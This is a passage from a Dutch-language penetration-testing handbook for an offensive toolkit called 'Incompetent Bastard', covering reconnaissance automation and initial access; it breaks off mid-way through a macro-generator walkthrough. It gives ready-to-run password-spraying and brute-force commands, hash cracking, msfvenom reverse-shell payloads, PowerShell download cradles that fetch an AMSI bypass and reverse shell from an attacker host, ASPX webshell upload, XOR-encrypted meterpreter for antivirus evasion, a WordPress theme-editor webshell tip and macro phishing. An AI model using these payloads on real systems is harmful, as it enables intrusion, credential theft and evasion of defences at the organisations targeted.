IB Tip: IB’s recon_wpscan commandobestand bevat zowel geautomatiseerde WPScan commando’s als handmatige checks. Na succesvolle login: ga naar Appearance, Theme Editor, bewerk 404.php – dat is de snelste weg naar een webshell op een WordPress-installatie.

2.10 De IB Task Runner: verkenning vanuit het dashboard

2.10.1 Hoe de Task Runner werkt

De IB Task Runner is een web-gebaseerde interface om voorgedefinieerde taken te starten, monitoren en de output te bekijken. Het is geen generieke command executor – het werkt uitsluitend met een allowlist van taken die in tasks.py zijn gedefinieerd. Geen willekeurige commando’s, geen shell injection, geen verrassingen.

Elke taak heeft: - Een label (wat je ziet in de interface) - Een group (categorie: Recon, Brute Force, etc.) - Een cmd (het exacte commando dat wordt uitgevoerd) - Optionele args (parameters met input-validatie)

De argumenten worden gevalideerd tegen regex-patronen voordat ze aan het commando worden toegevoegd. Geen shell=True, geen string concatenatie, alleen een lijst van strings die aan subprocess.Popen worden gegeven.

2.10.2 Beschikbare recon taken

De Task Runner heeft de volgende verkennings-gerelateerde taken:

Taak Groep Wat het doet
scan Recon Nmap TCP/UDP scan + nuclei + whatweb + wfuzz
search Recon Zoek hosts per service in nmap resultaten
ftp_anon Recon Test anonymous FTP login
kerberos Recon Kerberos user enum + LDAP query

2.10.3 Walkthrough: een scan starten

Om een network scan te starten via de Task Runner:

  1. Open het IB dashboard op http://127.0.0.1:5000
  2. Navigeer naar Tasks (/dashboard/tasks)
  3. Zoek de scan taak onder de groep “Recon”
  4. Vul de parameters in:
    • Interface / IP: het netwerkinterface om te scannen (bijv. tun0)
    • Scan naam: een herkenbare naam (bijv. pentest-2026)
    • Hosts / range: het te scannen bereik (bijv. 10.0.0.0/24)
  5. Klik op Start

De Task Runner start het commando op de achtergrond. Je kunt de voortgang live volgen – de output wordt gestreamed naar de browser. Het commando dat wordt uitgevoerd is:

bash scan.sh tun0 pentest-2026 10.0.0.0/24

2.10.4 Wat scan.sh doet onder de motorkap

IB’s scan.sh is meer dan een wrapper om nmap. Het doet het volgende:

  1. Directory structuur aanmaken: maakt raw/recon, raw/nmap, raw/loot en andere mappen aan
  2. Lokale configuratie loggen: slaat id, uname, ifconfig en publiek IP op in raw/local/
  3. TCP poortscan: nmap met output in alle formaten (-oA)
  4. UDP poortscan: dezelfde scan voor UDP
  5. Resultaten omzetten: converteert nmap output naar CSV-formaat
  6. Per-host deep scan: voor elke host met open poorten wordt een volledige nmap scan gestart in een screen-sessie
  7. Web recon: voor elke host met HTTP worden whatweb, wfuzz en nuclei gedraaid
# De kern van scan.sh:
# 1. Quick scan
nmap -e $localnic $NMAP_OPDRACHT_TCP $NMAP_HOST \
     -oA raw/nmap/${naam}_quick_scan_tcp

# 2. Parse resultaten, start deep scans
for host in $(grep "open" raw/nmap/${naam}_quick_scan_tcp.gnmap | ...); do
    screen -dmS nmap_${host} nmap -A ${host} \
           -oA raw/nmap/${host}_full_scan_tcp
done

# 3. Web recon per HTTP host
for host in $(grep "http" raw/nmap/${naam}_quick_scan_tcp.gnmap | ...); do
    whatweb ${host} > raw/recon/whatweb-${host}.txt
    wfuzz ... ${host}/FUZZ > raw/recon/wfuzz-${host}.txt
    nuclei -u ${host} > raw/recon/nuclei-${host}.txt
done

2.10.5 Zoeken in resultaten

Na de scan kun je de search taak gebruiken om specifieke services te vinden:

  1. Open de Task Runner
  2. Start de search taak met:
    • Scan naam: pentest-2026
    • Zoekterm: ftp, ssh, http, 3389, of elke andere service/poort
  3. De output toont alle hosts met die service

Dit is wat search.sh intern doet – het parsed de gnmap output en filtert op jouw zoekterm:

# search.sh zoekt in het grepable nmap formaat
cat raw/nmap/${naam}_quick_scan_tcp.gnmap \
    | grep "${zoekterm}" \
    | awk '{print $2}' \
    | sort -u

2.10.6 Beveiliging van de Task Runner

De Task Runner is opzettelijk beperkt:

# Uit tasks.py -- hoe argumenten worden gevalideerd:
_RE_SAFE_NAME = re.compile(r"^[a-zA-Z0-9_\-]+$")
_RE_IP_OR_IFACE = re.compile(r"^[a-zA-Z0-9._:/%\-]+$")

def _validate_arg(value, arg_def):
    if len(value) > 512:
        return f"{arg_def['label']} is te lang"
    if ".." in value:
        return f"Pad traversal niet toegestaan in {arg_def['label']}"
    regex = _PATTERN_MAP.get(pattern_name, _RE_SAFE_NAME)
    if not regex.match(value):
        return f"Ongeldig karakter in {arg_def['label']}"
    return None

Dit is hoe een task runner hoort te werken: niet door gebruikersinput in een shell te plakken, maar door voorgedefinieerde commando’s uit te voeren met gevalideerde parameters.

2.10.7 Output bekijken

De Task Runner slaat de output van elke taak op in het geheugen (maximaal 500 regels per taak). Je kunt de output in real-time volgen via de web-interface, of opvragen via de API:

# Output opvragen van een specifieke run (via curl)
curl http://127.0.0.1:5000/api/tasks/runs/<run_id>

Het JSON-antwoord bevat: - status: running, success, of failed - cmd: het uitgevoerde commando - output: een array van output-regels - started_at / finished_at: timestamps - return_code: de exit code van het proces

De scan-resultaten zelf staan in de raw/ directory. Na een succesvolle scan vind je: - raw/nmap/{naam}_quick_scan_tcp.* – initiële TCP scan (nmap, xml, gnmap) - raw/nmap/{naam}_quick_scan_udp.* – initiële UDP scan - raw/nmap/{naam}_tcp-poorten.txt – geformatteerde poortlijst - raw/nmap/{naam}_tcp-versies.txt – service versies - raw/{naam}_scope.csv – scope overzicht met FQDN/rDNS/IP - raw/nmap/{host}_full_scan_tcp.* – deep scans per host - raw/recon/whatweb-{host}.txt – web fingerprinting - raw/recon/wfuzz-{host}.txt – directory bruteforce resultaten - raw/recon/nuclei-{host}.txt – vulnerability scan resultaten

Alles netjes georganiseerd, klaar voor je rapportage.

2.11 De ongemakkelijke waarheid: over verkenning en nalatigheid

Weet je wat het mooiste is aan verkenning? Het onthult geen kwetsbaarheden in software. Het onthult kwetsbaarheden in mensen. Elke open poort is een beslissing die iemand heeft genomen – of vergeten te nemen. Elke default credential is iemand die dacht “dat veranderen we later wel.” Elke zone transfer die slaagt is een beheerder die het checkbox-security-model volgt: als het werkt, is het klaar.

SNMP community string public? Dat is niet eens een kwetsbaarheid, dat is een keuze. Iemand heeft bewust besloten dat public prima was. Of – en dit is erger – niemand heeft er uberhaupt over nagedacht. Het apparaat kwam uit de doos met public als community string, en niemand heeft de moeite genomen om het te veranderen.

Hetzelfde geldt voor anonymous FTP. Het is 2026. Anonymous FTP is geen vergissing meer, het is een traditie. Het wordt doorgegeven van systeembeheerder op systeembeheerder, als een soort digitale folklore. “Zo hebben we het altijd gedaan.” Ja, en vroeger rookten artsen ook in de operatiekamer.

NFS-beveiliging op basis van IP-adressen is misschien wel het mooiste voorbeeld. Het hele model is: “als je op ons netwerk zit, vertrouwen we je.” Geweldig plan. Totdat iemand op je netwerk komt die er niet hoort te zijn. En hoe komt die persoon op je netwerk? Via de FTP-server met anonymous login. Het is een vicieuze cirkel van incompetentie.

2.12 Praktische tips: de verkenningschecklist

Voor elke engagement zou je deze stappen moeten doorlopen, in volgorde:

Fase 1: Passief (geen verkeer naar doelwit) - [ ] Whois lookups (domein en IP) - [ ] DNS records opvragen (A, MX, TXT, NS) - [ ] Certificate Transparency logs doorzoeken - [ ] theHarvester draaien voor e-mailadressen en subdomeinen - [ ] Shodan doorzoeken op IP-bereik - [ ] Google Dorks uitvoeren - [ ] LinkedIn doorzoeken voor medewerkersnamen en technologie-hints

Fase 2: Actief (met toestemming) - [ ] Nmap SYN scan (TCP) op volledig bereik - [ ] Nmap UDP scan op top 50 poorten - [ ] Per-host deep scan met versie-detectie en scripts - [ ] DNS zone transfer proberen - [ ] Subdomain bruteforce - [ ] FTP anonymous login testen - [ ] SMB null session en share enumeratie - [ ] SNMP community string brute force - [ ] NFS showmount - [ ] HTTP: whatweb, directory bruteforce, nuclei - [ ] SMTP user enumeration (als poort 25 open) - [ ] WordPress scan (als WordPress gedetecteerd)

Fase 3: Documentatie - [ ] Alle resultaten opgeslagen in raw/ - [ ] Scope CSV aangemaakt - [ ] Screenshots van relevante bevindingen - [ ] Gevonden credentials en gevoelige informatie gelogd

IB automatiseert een groot deel van fase 2 via de Task Runner en scan.sh, maar de checklist helpt om niets over het hoofd te zien.

2.13 Samenvatting

Verkenning is het fundament van elke penetratietest. Het bepaalt wat je aanvalt, hoe je het aanvalt, en of je uberhaupt iets vindt om aan te vallen. De belangrijkste lessen uit dit hoofdstuk:

  1. Begin passief: OSINT en publieke bronnen eerst, actief scannen daarna – het is gratis, onzichtbaar, en verrassend informatief
  2. Scan systematisch: Nmap met -oA voor bewijs, scan zowel TCP als UDP – vergeet UDP niet, daar zitten SNMP en DNS
  3. Enumereer elke service: FTP, SSH, SMB, RDP, HTTP – elk protocol heeft zijn eigen verkenningstools en eigen veelgemaakte configuratiefouten
  4. DNS is een goudmijn: zone transfers, subdomain enumeration, reverse sweeps – DNS onthult meer dan beheerders beseffen
  5. SNMP is een ramp: default community strings in combinatie met cleartext transport onthullen alles – gebruikerslijsten, processen, geinstalleerde software
  6. NFS vertrouwt blindelings: IP-gebaseerde authenticatie is geen authenticatie, en UID spoofing maakt het triviaal te omzeilen
  7. CMS-scanning: WordPress plugins en themes zijn het laaghangende fruit van webapplicatie-beveiliging – een verouderde plugin is een open deur
  8. Documenteer alles: IB slaat resultaten gestructureerd op in raw/ – gebruik het voor je rapportage en als bewijs
  9. Gebruik de IB Task Runner: het automatiseert de saaie, herhalende delen van verkenning zodat jij je kunt richten op analyse en strategie

De verkenningsfase eindigt niet met een lijst van open poorten. Het eindigt met een beeld – een mentale kaart van het netwerk, de diensten, de gebruikers en de zwakke plekken. Dat beeld is wat je meeneemt naar het volgende hoofdstuk, waar we de stap zetten van verkenning naar daadwerkelijke toegang.

2.14 Referentietabel

Onderwerp Tool/Commando IB Component
Poortscan TCP nmap -sS -sV -sC -p- Task Runner: scan
Poortscan UDP nmap -sU --top-ports 50 Task Runner: scan
Zoek hosts per service search.sh naam zoekterm Task Runner: search
FTP anonymous nmap --script ftp-anon Task Runner: ftp_anon
SMB enumeratie smbclient, enum4linux, crackmapexec Command: handmatig
DNS zone transfer dig axfr, dnsrecon -t axfr Commands: recon_dns
DNS subdomain enum gobuster dns, dnsrecon -t brt Commands: recon_dns
SMTP user enum smtp-user-enum, nmap --script smtp-enum-users Commands: recon_smtp
SNMP walk snmpwalk, snmp-check Commands: recon_snmp
NFS enumeration showmount -e, mount Commands: recon_nfs
OSINT theHarvester, shodan, recon-ng Commands: recon_osint
WordPress scan wpscan --enumerate ap,at,u Commands: recon_wpscan
Web recon whatweb, wfuzz, nuclei Automatisch via scan.sh
Kerberos enum kerbrute, crackmapexec Task Runner: kerberos
Deep scan output raw/nmap/{host}_full_scan_tcp Automatisch via scan.sh
Web recon output raw/recon/whatweb-{host}.txt Automatisch via scan.sh

Volgende hoofdstuk: Hoofdstuk 3 – Initiële Toegang

Initiële Toegang

Initiële Toegang

“Elke deur gaat open. De vraag is alleen hoeveel sleutels je moet proberen.”

3.1 Het moment van binnentreden

Er is een moment in elke penetratietest dat alles verandert. Je bent uren, soms dagen bezig geweest met verkenning. Je hebt poorten gescand, services geenumereerd, woordenlijsten samengesteld. En dan – ergens tussen de 412e en 413e poging – klopt het wachtwoord. Of de payload landt. Of de macro wordt geopend. Je bent binnen.

Het is een merkwaardig gevoel. Het doet denken aan het openen van een lang vergeten deur in een Engels landhuis: het is niet de deur zelf die fascineert, maar wat erachter ligt. Bij een penetratietest is dat niet anders. Die eerste shell, dat eerste whoami dat terugkomt met een antwoord – dat is het moment waarop de test verandert van theorie naar praktijk.

Maar laten we eerlijk zijn: het feit dat je binnenkomt, is zelden het gevolg van briljant hackerwerk. Het is bijna altijd het gevolg van iemand die Summer2024! als wachtwoord heeft gekozen, of een beheerder die Jenkins open heeft laten staan, of een gebruiker die een Word-document met macro’s heeft geopend. Initiële toegang is in de praktijk minder “Hollywood hacker” en meer “geduldige boekhouder die wachtwoorden probeert.”

In dit hoofdstuk behandelen we de methoden om die eerste voet tussen de deur te krijgen: brute force en password spraying, payload-generatie, Office macro’s, Jenkins-exploitatie en Remote File Inclusion.

3.2 Brute force en password spraying

3.2.1 Het wachtwoordprobleem

Hier is een ongemakkelijke waarheid: de meeste beveiligingsincidenten beginnen met een gestolen of geraden wachtwoord. Niet met een zero-day exploit. Niet met een geavanceerde supply chain-aanval. Met een wachtwoord. Vaak Password1! of een variatie daarop.

Er zijn twee fundamenteel verschillende benaderingen om wachtwoorden te raden:

Het verschil is cruciaal. Brute force triggert vrijwel altijd account lockout – na drie of vijf foute pogingen wordt het account vergrendeld. Password spraying omzeilt dit door per lockout-window slechts een wachtwoord per account te proberen.

3.2.2 De lockout policy: ken je vijand

Voordat je ook maar een wachtwoord probeert, moet je de lockout policy kennen. Dit is niet optioneel. Dit is overlevingsinformatie.

# Vanuit het domein (als je al een foothold hebt):
net accounts /domain

# Via CrackMapExec (anoniem):
crackmapexec smb DC_IP -u '' -p '' --pass-pol
# Via PowerView:
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess

De drie magische getallen zijn: - Lockout threshold: na hoeveel pogingen wordt het account vergrendeld? - Lockout observation window: binnen welk tijdvenster tellen de pogingen? - Reset time: hoe lang duurt het voordat het account weer ontgrendeld wordt?

Als de lockout threshold op 5 staat en de observation window op 30 minuten, dan mag je maximaal 4 pogingen per 30 minuten doen per account. Dat klinkt beperkend, maar als je 500 accounts hebt, zijn 4 pogingen per account per 30 minuten al 2000 wachtwoord-combinaties per halve uur.

3.2.3 Gebruikersnamen verzamelen

Je hebt een lijst met gebruikersnamen nodig. Gelukkig zijn die makkelijker te vinden dan je zou denken:

# Kerbrute user enumeration (genereert geen lockout!)
kerbrute userenum -d DOMAIN --dc DC_IP \
    /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# LDAP (als anonymous bind mogelijk is)
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" \
    "(objectClass=user)" sAMAccountName | grep sAMAccountName

# CrackMapExec RID brute force
crackmapexec smb DC_IP -u '' -p '' --rid-brute

Kerbrute is bijzonder slim: het gebruikt het Kerberos pre-authentication mechanisme om te testen of een gebruiker bestaat. Dit genereert geen lockout events en nauwelijks logs. Het is het verschil tussen aan een deur kloppen en door het raam gluren.

3.2.4 Password spraying in de praktijk

# CrackMapExec spray (1 wachtwoord per ronde)
crackmapexec smb DC_IP -u users.txt -p 'Summer2024!' \
    -d DOMAIN --continue-on-success

# Volgende ronde (na 30+ minuten wachten!)
crackmapexec smb DC_IP -u users.txt -p 'Welcome1!' \
    -d DOMAIN --continue-on-success

# Kerbrute spray (sneller, minder logs)
kerbrute passwordspray -d DOMAIN --dc DC_IP users.txt 'Summer2024!'

# Spray via verschillende protocollen
crackmapexec winrm DC_IP -u users.txt -p 'Password1' -d DOMAIN
crackmapexec ldap DC_IP -u users.txt -p 'Password1' -d DOMAIN

De --continue-on-success flag is essentieel: zonder deze flag stopt CrackMapExec bij de eerste hit. In een spray-scenario wil je alle accounts vinden die hetzelfde wachtwoord gebruiken.

Een goed spray-script respecteert de lockout window:

# Geautomatiseerd spray script met wachttijd
for pw in Summer2024! Welcome1! Company2024!; do
    crackmapexec smb DC_IP -u users.txt -p "$pw" \
        -d DOMAIN --continue-on-success
    echo "[*] Wacht 35 minuten voor volgende spray ronde..."
    sleep 2100
done

Merk op dat de wachttijd (35 minuten) iets langer is dan de typische observation window (30 minuten). Die extra vijf minuten zijn een veiligheidsmarge. Beter vijf minuten te lang wachten dan honderden accounts vergrendelen en jezelf verraden.

De populairste spray-wachtwoorden zijn deprimerend voorspelbaar:

Patroon Voorbeelden
Seizoen + Jaar Summer2024!, Winter2024!, Spring2024!
Welkom Welcome1!, Welkom01!, Welcome2024!
Bedrijfsnaam CompanyName1!, Bedrijfsnaam1!
Password Password1!, P@ssw0rd!, Passw0rd!

Merk op: ze voldoen allemaal aan typische wachtwoordcomplexiteitsregels (hoofdletter, kleine letter, cijfer, speciaal teken, minimaal 8 karakters). Het beleid is technisch voldaan. De beveiliging is nul.

3.2.5 Brute force met Hydra en Medusa

Als password spraying niet werkt, of je richt je op een specifiek account, dan is brute force de volgende stap.

# Hydra: SSH
hydra -L users.txt -P passwords.txt ssh://TARGET_IP -t 4

# Hydra: RDP
hydra -L users.txt -P passwords.txt rdp://TARGET_IP -t 4

# Hydra: HTTP POST formulier
hydra -L users.txt -P passwords.txt TARGET_IP \
    http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" -t 4

# Hydra: HTTP Basic Auth
hydra -L users.txt -P passwords.txt TARGET_IP http-get /admin -t 4

# Hydra: SMB
hydra -L users.txt -P passwords.txt smb://TARGET_IP -t 4

# Hydra: MySQL
hydra -L users.txt -P passwords.txt mysql://TARGET_IP -t 4

# Hydra: MSSQL
hydra -L users.txt -P passwords.txt mssql://TARGET_IP -t 4
# Medusa: SSH
medusa -h TARGET_IP -U users.txt -P passwords.txt -M ssh -t 4

# Medusa: RDP
medusa -h TARGET_IP -U users.txt -P passwords.txt -M rdp -t 4

# Medusa: FTP
medusa -h TARGET_IP -U users.txt -P passwords.txt -M ftp -t 4

# Medusa: SMB
medusa -h TARGET_IP -U users.txt -P passwords.txt -M smbnt -t 4

# Medusa: HTTP Basic
medusa -h TARGET_IP -U users.txt -P passwords.txt \
    -M http -m DIR:/admin -t 4

De -t 4 flag beperkt het aantal gelijktijdige threads tot 4. Dit is belangrijk: meer threads betekent sneller scannen, maar ook meer kans op account lockout en detectie. Vier threads is een goed compromis.

3.2.6 Crowbar: de RDP-specialist

Hydra is notoir onbetrouwbaar voor RDP. Crowbar is de betere keuze:

# Crowbar RDP brute force
crowbar -b rdp -s TARGET_IP/32 -U users.txt -C passwords.txt -n 1

# Crowbar SSH key brute force
crowbar -b sshkey -s TARGET_IP/32 -u root -k /path/to/keys/ -n 1

# Crowbar OpenVPN
crowbar -b openvpn -s TARGET_IP/32 -u user -C passwords.txt \
    -c /path/to/config.ovpn

IB Tip: IB’s Task Runner heeft dedicated brute force taken: brute_ssh, brute_rdp en brute_vpn. Ze gebruiken Crowbar en lezen targets automatisch uit je nmap scan resultaten. De gen_passwords taak genereert een wachtwoordlijst gebaseerd op veelgebruikte patronen.

De IB Task Runner taken voor brute force:

Taak Groep Wat het doet
gen_passwords Brute Force Genereer wachtwoord variaties
brute_ssh Brute Force Crowbar SSH brute force op nmap targets
brute_rdp Brute Force Crowbar RDP brute force op nmap targets
brute_vpn Brute Force Crowbar VPN brute force op nmap targets
weak_ssh Brute Force Test Debian weak SSH keys

3.2.7 Offline hash cracking

Soms vind je geen werkend wachtwoord, maar wel een hash. Dan verschuift het probleem van netwerk-brute-force naar offline cracking – oneindig veel sneller en zonder lockout-risico.

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt

# Hashcat (GPU-versneld)
# NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# Kerberoast TGS hashes
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt

# AS-REP roasting hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# NetNTLMv2 hashes
hashcat -m 5600 netntlm_hashes.txt /usr/share/wordlists/rockyou.txt

Het verschil in snelheid is astronomisch. Een online brute force tegen SSH doet misschien 100 pogingen per seconde. Hashcat met een fatsoenlijke GPU doet miljoenen hashes per seconde. Miljoenen. Het is het verschil tussen te voet naar Parijs lopen en er met een straalvliegtuig naartoe vliegen.

3.2.8 Woordenlijst generatie

Een goede woordenlijst is het verschil tussen succes en falen. rockyou.txt is een prima startpunt, maar bedrijfsspecifieke wachtwoorden staan er niet in.

# CeWL: scrape website voor woorden
cewl https://target-website -d 3 -m 5 -w cewl_wordlist.txt

# Met e-mailadressen extractie
cewl https://target-website -d 3 -m 5 -e \
    --email_file emails.txt -w cewl_wordlist.txt

# Crunch: patroon-gebaseerde woordlijsten
# @ = lowercase, , = uppercase, % = nummer, ^ = symbool
crunch 10 10 -t Company%%^^ -o company_passwords.txt
crunch 8 8 -t @@@@%%%% -o names_numbers.txt

# PIN codes genereren
crunch 6 6 0123456789 -o pins.txt

De slimste aanpak is een combinatie: gebruik CeWL om bedrijfsnamen, productnamen en jargon van de website te scrapen, en pas daar dan mutatie-regels op toe:

# John the Ripper regels toepassen op een woordenlijst
john --wordlist=cewl_wordlist.txt --rules=best64 --stdout > mutated.txt
john --wordlist=cewl_wordlist.txt --rules=KoreLogic --stdout > mutated.txt

# Hashcat regels
hashcat -r /usr/share/hashcat/rules/best64.rule \
    --stdout wordlist.txt > mutated.txt

# Meerdere regelsets combineren
hashcat -r rule1.rule -r rule2.rule --stdout wordlist.txt > mutated.txt

De best64 regelset is een goede start – het past 64 veelgebruikte transformaties toe (hoofdletter aan het begin, cijfers achteraan, symbolen toevoegen, etc.). De OneRuleToRuleThemAll regelset is uitgebreider maar trager.

IB Tip: IB’s passwd_wordlist command file bevat crunch-patronen, CeWL-commando’s en mutatie-regels. Het passwd_spray bestand bevat de complete spray-workflow inclusief lockout policy checks. Begin altijd met de lockout policy voordat je gaat sprayen.

3.3 Payload generatie

3.3.1 De wapenkamer

Een payload is het stukje code dat op het doelsysteem draait en je een verbinding teruggeeft. Het is de digitale equivalent van een sleutel die je van binnenuit de deur openmaakt. Incompetent Bastard heeft acht payload generators ingebouwd – elk voor een ander scenario, platform en evasion-techniek.

IB’s payload generators zijn geen simpele msfvenom-wrappers. Ze genereren shellcode, passen XOR-encryptie toe, compileren C# code, en produceren kant-en-klare bestanden die je direct kunt deployen. Alles vanuit een webinterface.

3.3.2 Overzicht van IB’s payload generators

Generator Route Output Beschrijving
Meterpreter /meterpreter meuk/meth/bin/Debug/meth.exe XOR-encrypted C# meterpreter, compilatie via msbuild
Meterpreter v2 /meterpreter2 meuk/meth/bin/Debug/meth.exe v2 met LURI support
PowerShell /powershell http/payloads/amsi-bypass.ps1, amsi-shell.ps1, shell_443.txt AMSI bypass + reverse shell + base64 payload
Macro /macro VBA macro / .docm Office macro met msfvenom shellcode
Macro v2 /macro2 VBA macro / .docm v2 met LURI support en template injectie
Meth ASPX /methaspx http/payloads/meth.aspx XOR-encrypted C# ASPX webshell
Invoke-Shellcode /invokeshellcode http/payloads/invoke-shellcode.ps1 PowerShell x32+x64 shellcode loader

3.3.3 Meterpreter Generator walkthrough

De Meterpreter Generator is IB’s vlaggenschip payload generator. Hij genereert een XOR-encrypted C# executable die meterpreter shellcode laadt – ontworpen om antivirusdetectie te ontwijken.

Stap 1: Open de generator

Navigeer naar http://127.0.0.1:5000/meterpreter in je browser. Je ziet een formulier met drie velden:

Stap 2: Configureer de payload

Typische configuratie: - LHOST: 10.0.0.1 (je aanvalsmachine) - LPORT: 443 (HTTPS-poort, minder opvallend) - Payload: windows/x64/meterpreter/reverse_https - XOR Key: leeg (random)

Stap 3: Genereer

Klik op “Genereer meterpreter”. IB doet het volgende op de achtergrond:

  1. Roept msfvenom aan om raw shellcode te genereren
  2. Past XOR-encryptie toe met de opgegeven of random sleutel
  3. Genereert een C# bronbestand met de encrypted shellcode
  4. Compileert het met msbuild
  5. Produceert meuk/meth/bin/Debug/meth.exe

Stap 4: Download en deploy

De gegenereerde executable verschijnt als download. Transfer het naar het doelsysteem via een van IB’s delivery-methoden (HTTP server, FTP upload, of via een eerder verkregen shell).

3.3.4 Meterpreter v2: met LURI support

De v2 generator voegt een LURI (Listener URI) parameter toe. Dit is nuttig als je Metasploit handler achter een reverse proxy draait – de LURI specificeert het pad waarop de handler luistert.

Configuratie: - LHOST: 10.0.0.1 - LPORT: 443 - LURI: /api/v1/session (of elk willekeurig pad) - Payload: windows/x64/meterpreter/reverse_https

De LURI maakt het verkeer minder opvallend: in plaats van callbacks naar https://10.0.0.1:443/, gaan ze naar https://10.0.0.1:443/api/v1/session – wat eruitziet als normaal API-verkeer.

3.3.5 PowerShell Generator

De PowerShell Generator produceert drie bestanden:

  1. amsi-bypass.ps1: een script dat de Antimalware Scan Interface (AMSI) uitschakelt
  2. amsi-shell.ps1: AMSI bypass + reverse shell in een bestand
  3. shell_443.txt: base64-encoded payload
# Typisch gebruik op het doelsysteem:
# 1. AMSI bypass laden
IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/amsi-bypass.ps1')

# 2. Reverse shell laden
IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/amsi-shell.ps1')

# Of de base64 variant (minder detecteerbaar):
powershell -enc [BASE64_STRING]

De PowerShell Generator ondersteunt ook LURI en een keuze van bestandsnaam voor het output-bestand in http/payloads/.

3.3.6 Invoke-Shellcode Generator

De Invoke-Shellcode generator produceert een PowerShell script dat shellcode injecteert in het huidige process. Het genereert zowel x32 als x64 shellcode via msfvenom en verpakt het in een invoke-shellcode.ps1 bestand.

Configuratie: - LHOST: 10.0.0.1 - LPORT: 443 - LURI: / (standaard)

Output: http/payloads/invoke-shellcode.ps1

Het verschil met de PowerShell Generator is subtiel maar belangrijk: de PowerShell Generator produceert een script dat via een download cradle wordt geladen en direct in PowerShell draait. De Invoke-Shellcode Generator produceert een script dat shellcode direct in het proces-geheugen injecteert. Dat laatste is moeilijker te detecteren voor antivirusoplossingen die op bestandsniveau scannen.

3.3.7 ASPX Generator (Meth ASPX)

Voor IIS-webservers genereert de Meth ASPX Generator een XOR-encrypted ASPX webshell. Dit is nuttig als je schrijftoegang hebt tot een IIS-webroot (via FTP, SMB, of een upload-kwetsbaarheid).

# Na generatie: upload naar IIS webroot
# Via FTP:
ftp TARGET_IP
# put meth.aspx
# cd wwwroot
# put meth.aspx

# Via curl (als er een upload endpoint is):
curl -F "file=@http/payloads/meth.aspx" http://TARGET_IP/upload

# Trigger:
curl http://TARGET_IP/meth.aspx

Output: http/payloads/meth.aspx met XOR-encrypted C# shellcode.

3.3.8 Msfvenom: de command-line manier

Achter IB’s generators draait msfvenom. Als je de command-line prefereert, of een payload nodig hebt die IB niet ondersteunt:

# Windows meterpreter reverse HTTPS (exe)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe

# Windows meterpreter reverse TCP (exe)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f exe -o shell_tcp.exe

# Linux reverse shell (ELF)
msfvenom -p linux/x64/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f elf -o shell.elf

# ASP reverse shell (voor IIS)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f asp -o shell.asp

# JSP reverse shell (voor Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f raw -o shell.jsp

# WAR file (voor Tomcat manager)
msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f war -o shell.war

# macOS reverse shell
msfvenom -p osx/x64/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f macho -o shell.macho

# PowerShell payload (base64)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f psh -o shell.ps1

# Raw shellcode (voor custom loaders)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f raw -o shellcode.bin

# C# shellcode (voor compilatie)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f csharp

IB Tip: IB’s http/payloads/ directory bevat kant-en-klare payloads in meerdere formaten: .exe, .elf, .asp, .jsp, .war, .macho, .txt (base64 PowerShell). IB’s ingebouwde HTTP server serveert deze bestanden automatisch – je slachtoffer hoeft ze alleen maar te downloaden.

3.3.9 Metasploit handler opzetten

Een payload zonder handler is als een telefoon zonder ontvanger. Je moet Metasploit klaarzetten om de callback op te vangen:

# Start msfconsole
msfconsole

# Handler configureren
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.0.1
set LPORT 443
set ExitOnSession false
exploit -j

De ExitOnSession false optie zorgt ervoor dat de handler blijft luisteren na de eerste verbinding – essentieel als je meerdere sessies verwacht. De exploit -j flag start de handler als achtergrond-job, zodat je de msfconsole kunt blijven gebruiken.

Enkele nuttige Metasploit-commando’s na het opzetten van de handler:

# Lijst van actieve sessies
sessions -l

# Interactie met een sessie
sessions -i 1

# Achtergrond een sessie
background

# Route toevoegen via een sessie (voor pivoting)
route add 10.1.0.0/24 1

Voor HTTPS-payloads met LURI:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.0.1
set LPORT 443
set LURI /api/v1/session
set ExitOnSession false
exploit -j

3.4 Office macro’s: social engineering met een spreadsheet

3.4.1 Waarom macro’s werken

Office macro’s zijn de oudste truc in het boek, en ze werken nog steeds. Niet omdat de techniek zo geavanceerd is – het is letterlijk VBA-code uit de jaren negentig – maar omdat de zwakste schakel altijd de mens is. Een goed opgemaakt Excel-bestand met de titel “Salarisoverzicht_Q4.xlsm” en een vriendelijk bericht “Klik op ‘Enable Macros’ om de gegevens te bekijken” is voldoende om in menig organisatie een foothold te krijgen.

Microsoft heeft in recente versies van Office macro’s standaard geblokkeerd voor bestanden die van internet zijn gedownload (de Mark-of-the-Web bescherming). Maar in veel bedrijfsomgevingen draaien oudere versies, of is deze bescherming uitgeschakeld “omdat anders de afdeling Financien niet kan werken.”

3.4.2 IB’s Macro Generator

IB heeft twee macro generators: de originele en de v2 (met LURI-support).

Macro Generator (v1):

  1. Navigeer naar http://127.0.0.1:5000/macro
  2. Configureer:
    • LHOST: 10.0.0.1
    • LPORT: 443
    • Payload: windows/meterpreter/reverse_https
    • Template (optioneel): upload een .docx of .xlsx
  3. Klik “Genereer macro”

